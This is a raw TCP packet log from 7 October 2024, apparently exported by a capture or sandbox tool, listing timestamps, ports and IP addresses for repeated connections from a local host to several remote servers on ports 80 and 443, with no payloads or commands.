Oct 7, 2024 14:59:45.915400982 CEST	49916	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:45.920272112 CEST	80	49916	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:45.995304108 CEST	49922	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:46.000938892 CEST	80	49922	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:46.001060009 CEST	49922	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:46.020895004 CEST	49922	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:46.021135092 CEST	49922	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:46.025818110 CEST	80	49922	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:46.025979996 CEST	80	49922	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:47.047126055 CEST	80	49922	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:47.047144890 CEST	80	49922	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:47.047276020 CEST	49922	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:47.049721956 CEST	49922	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:47.053872108 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:47.053911924 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:47.053973913 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:47.054445982 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:47.054455042 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:47.054640055 CEST	80	49922	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:47.709902048 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:47.710026026 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:47.714416981 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:47.714441061 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:47.714812040 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:47.725377083 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:47.767416954 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:47.933795929 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:47.933828115 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:47.933975935 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:47.934005976 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:47.986707926 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.018661976 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.018672943 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.018739939 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.018790007 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.018798113 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.018841028 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.019932032 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.019941092 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.020003080 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.021042109 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.021126986 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.102281094 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.102339983 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.102360010 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.102380037 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.102422953 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.102441072 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.103187084 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.103254080 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.104007006 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.104078054 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.104857922 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.104913950 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.105701923 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.105767965 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.106625080 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.106692076 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.172045946 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.172247887 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.186723948 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.186889887 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.186901093 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.186929941 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.186964989 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.186981916 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.187449932 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.187547922 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.187596083 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.187653065 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.188433886 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.188518047 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.188949108 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.189017057 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.189220905 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.189280033 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.189945936 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.190011024 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.190105915 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.190185070 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.190905094 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.190979958 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.191128969 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.191195011 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.194632053 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.194806099 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.258354902 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.258407116 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.258656979 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.258656979 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.258691072 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.258742094 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.271572113 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.271712065 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.271822929 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.271883011 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.272119045 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.272180080 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.272531986 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.272589922 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.272914886 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.272979975 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.273463011 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.273521900 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.273786068 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.273845911 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.278590918 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.278698921 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.278876066 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.278939962 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.279304028 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.279361010 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.279521942 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.279578924 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.280143976 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.280205011 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.280276060 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.280323982 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.280486107 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.280535936 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.281296968 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.281359911 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.341084003 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.341238022 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.341312885 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.341372013 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.356251955 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.356385946 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.356389046 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.356415987 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.356441975 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.356465101 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.356492043 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.356548071 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.356827974 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.356889963 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.357220888 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.357281923 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.357741117 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.357790947 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.357805014 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.357812881 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.357846975 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.357867002 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.358326912 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.358390093 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.358859062 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.358906031 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.358922958 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.358932018 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.358942032 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.358963966 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.359258890 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.359318972 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.360099077 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.360171080 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.360179901 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.360191107 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.360217094 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.360295057 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.360315084 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.360404015 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.360404015 CEST	49932	443	192.168.2.5	23.145.40.164
Oct 7, 2024 14:59:48.360413074 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.360419035 CEST	443	49932	23.145.40.164	192.168.2.5
Oct 7, 2024 14:59:48.518884897 CEST	49939	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:48.523782015 CEST	80	49939	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:48.524025917 CEST	49939	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:48.526978016 CEST	49939	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:48.526978016 CEST	49939	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:48.531954050 CEST	80	49939	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:48.531991005 CEST	80	49939	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:49.566504955 CEST	80	49939	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:49.566754103 CEST	80	49939	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:49.566919088 CEST	49939	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:49.570991993 CEST	49939	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:49.575896978 CEST	80	49939	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:49.612998009 CEST	49945	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:49.618232965 CEST	80	49945	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:49.618329048 CEST	49945	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:49.618535995 CEST	49945	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:49.618563890 CEST	49945	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:49.623442888 CEST	80	49945	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:49.623462915 CEST	80	49945	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:50.520540953 CEST	80	49945	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:50.520911932 CEST	80	49945	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:50.521037102 CEST	49945	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:50.523257017 CEST	49945	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:50.528084993 CEST	80	49945	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:50.581671000 CEST	49952	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:50.586545944 CEST	80	49952	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:50.586639881 CEST	49952	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:50.586827993 CEST	49952	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:50.586843967 CEST	49952	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:50.591581106 CEST	80	49952	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:50.591725111 CEST	80	49952	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:51.497476101 CEST	80	49952	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:51.497715950 CEST	80	49952	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:51.497852087 CEST	49952	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:51.501153946 CEST	49952	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:51.506160021 CEST	80	49952	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:51.731144905 CEST	49961	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:51.736006975 CEST	80	49961	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:51.736076117 CEST	49961	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:51.742364883 CEST	49961	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:51.742364883 CEST	49961	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:51.747198105 CEST	80	49961	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:51.747272015 CEST	80	49961	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:52.660981894 CEST	80	49961	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:52.661012888 CEST	80	49961	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:52.661202908 CEST	49961	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:52.661628962 CEST	49961	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:52.665477991 CEST	49969	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:52.666726112 CEST	80	49961	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:52.670473099 CEST	80	49969	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:52.670562029 CEST	49969	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:52.670686960 CEST	49969	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:52.670716047 CEST	49969	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:52.675795078 CEST	80	49969	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:52.675806999 CEST	80	49969	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:53.587590933 CEST	80	49969	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:53.587910891 CEST	80	49969	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:53.588010073 CEST	49969	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:53.588083982 CEST	49969	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:53.592294931 CEST	49975	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:53.593743086 CEST	80	49969	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:53.597141981 CEST	80	49975	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:53.597224951 CEST	49975	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:53.597395897 CEST	49975	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:53.597424984 CEST	49975	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:53.602199078 CEST	80	49975	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:53.602535963 CEST	80	49975	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:54.529414892 CEST	80	49975	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:54.529547930 CEST	80	49975	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:54.529609919 CEST	49975	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:54.529687881 CEST	49975	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:54.534491062 CEST	80	49975	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:54.549278021 CEST	49979	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:54.554236889 CEST	80	49979	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:54.554312944 CEST	49979	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:54.555557013 CEST	49979	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:54.555573940 CEST	49979	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:54.560501099 CEST	80	49979	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:54.560559988 CEST	80	49979	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:56.015954018 CEST	80	49979	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:56.015968084 CEST	80	49979	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:56.015975952 CEST	80	49979	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:56.016052008 CEST	80	49979	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:56.016097069 CEST	49979	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:56.016097069 CEST	49979	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:56.016319990 CEST	49979	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:56.021714926 CEST	49982	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:56.023566961 CEST	80	49979	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:56.027512074 CEST	80	49982	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:56.027602911 CEST	49982	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:56.027776003 CEST	49982	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:56.027798891 CEST	49982	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:56.033699989 CEST	80	49982	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:56.033711910 CEST	80	49982	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:57.166579962 CEST	80	49982	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:57.166593075 CEST	80	49982	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:57.166656971 CEST	80	49982	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:57.166666985 CEST	49982	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:57.166701078 CEST	49982	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:57.171534061 CEST	49982	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:57.176419973 CEST	80	49982	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:57.412803888 CEST	49993	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:57.417597055 CEST	80	49993	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:57.417695045 CEST	49993	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:57.417840958 CEST	49993	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:57.417864084 CEST	49993	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:57.422610998 CEST	80	49993	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:57.422787905 CEST	80	49993	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:58.324579954 CEST	80	49993	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:58.325282097 CEST	80	49993	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:58.325335026 CEST	49993	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:58.325596094 CEST	49993	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:58.328505039 CEST	49998	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:58.330368996 CEST	80	49993	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:58.333615065 CEST	80	49998	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:58.333700895 CEST	49998	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:58.333836079 CEST	49998	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:58.333861113 CEST	49998	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:58.338604927 CEST	80	49998	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:58.338720083 CEST	80	49998	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:59.252855062 CEST	80	49998	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:59.253218889 CEST	80	49998	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:59.253273010 CEST	49998	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:59.253319979 CEST	49998	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:59.258091927 CEST	80	49998	105.197.97.247	192.168.2.5
Oct 7, 2024 15:00:13.698848963 CEST	50012	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:13.698899031 CEST	443	50012	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:13.699114084 CEST	50012	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:13.699405909 CEST	50012	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:13.699417114 CEST	443	50012	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:14.413928032 CEST	443	50012	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:14.414031029 CEST	50012	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:14.416014910 CEST	50012	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:14.416021109 CEST	443	50012	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:14.416286945 CEST	443	50012	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:14.419682026 CEST	50012	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:14.419708014 CEST	50012	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:14.419749022 CEST	443	50012	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:14.715512991 CEST	443	50012	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:14.715607882 CEST	443	50012	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:14.715747118 CEST	50012	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:14.715857029 CEST	50012	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:14.715866089 CEST	443	50012	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:14.715909004 CEST	50012	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:14.715914965 CEST	443	50012	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:15.194875002 CEST	50013	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:15.194906950 CEST	443	50013	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:15.194987059 CEST	50013	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:15.195791960 CEST	50013	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:15.195805073 CEST	443	50013	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:16.822340012 CEST	443	50013	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:16.822432041 CEST	50013	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:16.824158907 CEST	50013	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:16.824172974 CEST	443	50013	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:16.824430943 CEST	443	50013	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:16.825196028 CEST	50013	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:16.825223923 CEST	50013	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:16.825277090 CEST	443	50013	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:18.334794044 CEST	443	50013	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:18.335084915 CEST	50013	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:18.335131884 CEST	50013	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:00:18.335252047 CEST	443	50013	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:18.335374117 CEST	443	50013	188.40.141.211	192.168.2.5
Oct 7, 2024 15:00:18.335458040 CEST	50013	443	192.168.2.5	188.40.141.211
Oct 7, 2024 15:01:05.015407085 CEST	50014	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:05.021200895 CEST	80	50014	105.197.97.247	192.168.2.5
Oct 7, 2024 15:01:05.021356106 CEST	50014	80	192.168.2.5	105.197.97.247
Oct 7, 2024 15:01:05.021487951 CEST	50014	80	192.168.2.5	105.197.97.247
